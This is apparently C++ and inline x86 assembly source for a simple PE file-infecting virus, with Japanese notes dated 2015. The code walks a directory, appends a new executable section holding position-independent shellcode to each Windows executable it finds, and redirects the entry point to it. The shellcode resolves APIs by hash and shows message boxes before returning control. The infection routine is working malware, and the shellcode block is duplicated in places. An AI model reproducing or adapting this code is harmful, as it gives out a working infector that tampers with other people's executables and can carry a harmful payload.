簡単なPE感染ウイルスです
/*----------2015-09-28 Update ----------*/
shellcodeマルチスレッドを実行する
CreateThread関数を使用してサブスレッドを開く
サブスレッドは新しいスタックを開き、新しいスタックと関数の検索が必要です.
/-------
新しいセクションテーブルを開くことでshellcodeを配置
PEエントリポイントをshellcodeに変更し、shellcodeで元のPEエントリポイントに戻るように設定します.
2015-09-20 peic
PEファイル形式参考資料:
http://bbs.pediy.com/showthread.php?t=21932
----------/
shellcodeマルチスレッドを実行する
CreateThread関数を使用してサブスレッドを開く
サブスレッドは新しいスタックを開き、新しいスタックと関数の検索が必要です.
#pragma region shellcode
__asm{
/*-----ShellCode ------*/
shellStart:
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
//push 0x4fd18963 ;hash of ExitProcess
push 0x2729f8bb ;hash of CreateThread
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx,[ecx] ; ---win7
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
//
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
//
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
// hash
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
CreateThread_call:
call reset
reset:
pop ebx
sub ebx,offset reset
lea eax, [ebx + MessageBox_call]
xor ebx,ebx
push ebx
push ebx
push ebx
push eax
push ebx
push ebx
call [edi-0x08]
xor ebx,ebx
push ebx // cut string '\0'
push 0x21
push 0xa7cbc3ba
push 0xdac0c2ba //push !
push ebx
push 0x5151
push 0xd4d7b4c0 //push QQ
mov eax,esp //load address of failwest
push ebx
push eax
add eax,12
push eax
push ebx
call [edi-0x04] ;//call MessageboxA
//-----------------------------------------------------------------//
/*-------ShellCode --------*/
MessageBox_call:
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
//push 0x4fd18963 ;hash of ExitProcess
push 0x2729f8bb ;hash of CreateThread
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx,[ecx] ; ---win7
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions2:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions2
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
//
find_functions2:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
//
next_function_loop2:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
// hash
hash_loop2:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash2
ror edx,7
add edx,eax
inc esi
jmp hash_loop2
compare_hash2:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop2
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions2
xor ebx,ebx
push ebx // cut string
push 0x21
push 0xa7cbfcb8
push 0xf1c9c2d5 //push !
push ebx
push 0x5151
push 0xd4d7b4c0
mov eax,esp //load address of failwest
push ebx
push eax
add eax,12
push eax
push ebx
call [edi-0x04] ; //call MessageboxA
//push ebx
//call [edi - 0x08] ; // call ExitProcess
nop
nop
mov eax,0x12345678 ;// , PE
jmp eax
}
/-------
新しいセクションテーブルを開くことでshellcodeを配置
PEエントリポイントをshellcodeに変更し、shellcodeで元のPEエントリポイントに戻るように設定します.
2015-09-20 peic
PEファイル形式参考資料:
http://bbs.pediy.com/showthread.php?t=21932
----------/
/***
,
PE
2015.9.21 peic
***/
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <assert.h>
#include <iostream>
using namespace std;
#define _MAX_PATH_ 100
#define INFECT_FLAG 0x1301C06 //19930118
char Location[_MAX_PATH_] = "d:\\Users\\Itachi\\Desktop\\PE";
//
DWORD Align(DWORD size, DWORD Alignment)
{
//Alignment 0
assert(0 != Alignment);
if(size % Alignment)
{
//size Alignment ,
// :Alignment = 0100h = 4KB
// :Alignment = 200h = 512B
size = (size / Alignment + 1) * Alignment;
}
return size;
}
// 、 , PE
// PE
//PIMAGE_DOS_HEADER _IMAGE_DOS_HEADER
// PIMAGE_DOS_HEADER ,&
BOOL SetInfectFlag(PIMAGE_DOS_HEADER &pDosHeader)
{
if(*(DWORD*)pDosHeader->e_res2 == INFECT_FLAG)
{
printf("This PE file has been infected!
");
return FALSE; //
}
else
{
*(DWORD*)pDosHeader->e_res2 = INFECT_FLAG;
return TRUE; //
}
}
// PE , OpenFile lpMemory
BOOL IsPeFile(LPVOID lpMemory)
{
// DOS MZ
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpMemory;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("This file is not a PE file !
");
return FALSE;
}
// NT PE
IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)lpMemory + pDosHeader->e_lfanew);
if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
printf("This file is not a PE file !
");
return FALSE;
}
return TRUE;
}
//
void CloseAll(LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap)
{
CloseHandle(hFile);
CloseHandle(hMap);
UnmapViewOfFile(lpMemory);
}
// , ( )
// :lpMemory
BOOL OpenFile(char* szPath, LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap)
{
// ,
hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
printf("Can not open the file, ErrorCode = %d
",GetLastError());
UnmapViewOfFile(lpMemory);
return FALSE;
}
// , ,
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
if(!hMap)
{
printf("Can not created the file's MapObject! ErrorCode = %d
", GetLastError());
UnmapViewOfFile(lpMemory);
CloseHandle(hFile);
return FALSE;
}
//
lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
if(!lpMemory)
{
printf("Can not Map the file to Memory! ErrorCode = %d
", GetLastError());
UnmapViewOfFile(lpMemory);
CloseHandle(hFile);
CloseHandle(hMap);
return FALSE;
}
return TRUE;
}
// PE
void InfectPE(char *szPath)
{
LPVOID lpMemory;
HANDLE hFile;
HANDLE hMap;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_DOS_HEADER pDosHeader;
#pragma region perpare
//
if(!OpenFile(szPath, lpMemory, hFile,hMap))
{
return;
}
pDosHeader = (PIMAGE_DOS_HEADER)lpMemory;
// PE
if(!IsPeFile(lpMemory))
{
CloseAll(lpMemory,hFile,hMap);
return;
}
pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader->e_lfanew + *(DWORD*)&pDosHeader);
// ,
if(!SetInfectFlag(pDosHeader))
{
return;
}
//
if((pNtHeader->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER)
> pNtHeader->OptionalHeader.SizeOfHeaders)
{
CloseAll(lpMemory,hFile,hMap);
return;
}
#pragma endregion
//
PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHeader + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER pNewSecHeader = (PIMAGE_SECTION_HEADER)(pSecHeader + pNtHeader->FileHeader.NumberOfSections);
PIMAGE_SECTION_HEADER pLastSecHeader = (PIMAGE_SECTION_HEADER)(pNewSecHeader - 1);
/*** -------- !!!!------------***
// PE
DWORD index;
//
DWORD size = pSecHeader->PointerToRawData;
for (index = 0; index < pNtHeader->FileHeader.NumberOfSections; index++)
{
size += Align(pSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment);
}
//
if(size != GetFileSize(hFile, 0))
{
return;
}
*/
/* shellcode*/
goto shellEnd;
#pragma region shellcode
__asm{
shellStart:
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx,[ecx] ; ---win7
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx // cut string '\0'
push 0x21
push 0xa7cbc3ba
push 0xdac0c2ba //push !
push ebx
push 0x5151
push 0xd4d7b4c0 //push QQ
mov eax,esp //load address of failwest
push ebx
push eax
add eax,12
push eax
push ebx
call [edi-0x04] ;//call MessageboxA
xor ebx,ebx
push ebx // cut string
push 0x21
push 0xa7cbfcb8
push 0xf1c9c2d5 //push !
push ebx
push 0x5151
push 0xd4d7b4c0
mov eax,esp //load address of failwest
push ebx
push eax
add eax,12
push eax
push ebx
call [edi-0x04] ; //call MessageboxA
//push ebx
//call [edi - 0x08] ; // call ExitProcess
nop
nop
mov eax,0x12345678 ;// , PE
jmp eax
}
#pragma endregion
shellEnd:
PBYTE* pShell;
DWORD nShellLen;
__asm
{
lea eax,shellStart
mov pShell,eax
lea ebx,shellEnd
sub ebx,eax
mov nShellLen,ebx
}
/*-------- -------------*/
memcpy(pNewSecHeader->Name, ".PEIC", 5);
//
pNewSecHeader->PointerToRawData =
pLastSecHeader->PointerToRawData + Align(pLastSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment);
//
pNewSecHeader->VirtualAddress =
pLastSecHeader->VirtualAddress + Align(pLastSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment);
//
DWORD dwPayLoadSize = nShellLen;
pNewSecHeader->Misc.VirtualSize = dwPayLoadSize;
pNewSecHeader->SizeOfRawData =
Align(dwPayLoadSize, pNtHeader->OptionalHeader.FileAlignment);
//
pNewSecHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
// 1
pNtHeader->FileHeader.NumberOfSections += 1;
// PE
// PE
pNtHeader->OptionalHeader.SizeOfCode +=
Align(pNewSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.FileAlignment);
pNtHeader->OptionalHeader.SizeOfImage +=
Align(pNewSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.SectionAlignment);
//
pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
// PE
DWORD dwSize = 0;
DWORD pFile = 0;
//
//
pFile = SetFilePointer(hFile, 0, 0, FILE_END);
//
WriteFile(hFile, pShell, nShellLen, &dwSize, NULL); // , dwSize
/*---- PE ---*/
pFile = SetFilePointer(hFile, -6, 0, FILE_CURRENT); // shellcode , PE
DWORD dwOldEntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase;
WriteFile(hFile, &dwOldEntryPoint, 4, &dwSize, NULL);
//
PBYTE pByte = (PBYTE)malloc(pNewSecHeader->SizeOfRawData-nShellLen);
ZeroMemory(pByte, pNewSecHeader->SizeOfRawData-nShellLen);
dwSize = 0;
pFile = SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, pByte, pNewSecHeader->SizeOfRawData-nShellLen, &dwSize, NULL);
FlushFileBuffers(hFile);
free(pByte);
// PE
pNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSecHeader->VirtualAddress;
//printf(" : %X
", pNewSecHeader->VirtualAddress);
system("pause");
//
FlushViewOfFile(lpMemory, pNtHeader->OptionalHeader.SizeOfHeaders);
CloseAll(lpMemory,hFile,hMap);
}
// PE
void FindFile(char *szPath)
{
WIN32_FIND_DATAA FindFileData;
char szFileToFind[MAX_PATH] = {0};
lstrcpyA(szFileToFind, szPath);
lstrcatA(szFileToFind,"\\NOTEPAD.EXE");
//
HANDLE hFindFile = FindFirstFileA(szFileToFind, &FindFileData);
if(hFindFile == INVALID_HANDLE_VALUE)
{
printf("FindFirstFileA Failed!
");
return;
}
do
{
char szNewPath[MAX_PATH] = {0};
lstrcpyA(szNewPath, szPath);
//
if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
if(!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, ".."))
{}
//
else
{
lstrcatA(szNewPath,"\\");
lstrcatA(szNewPath, FindFileData.cFileName);
FindFile(szNewPath);
}
}
//
else
{
char szPE[MAX_PATH] = {0};
lstrcpyA(szPE,szNewPath);
lstrcatA(szPE,"\\");
lstrcatA(szPE,FindFileData.cFileName);
//
InfectPE(szPE);
}
}
while(FindNextFileA(hFindFile,&FindFileData));
FindClose(hFindFile);
}
int main()
{
FindFile(Location);
return 0;
}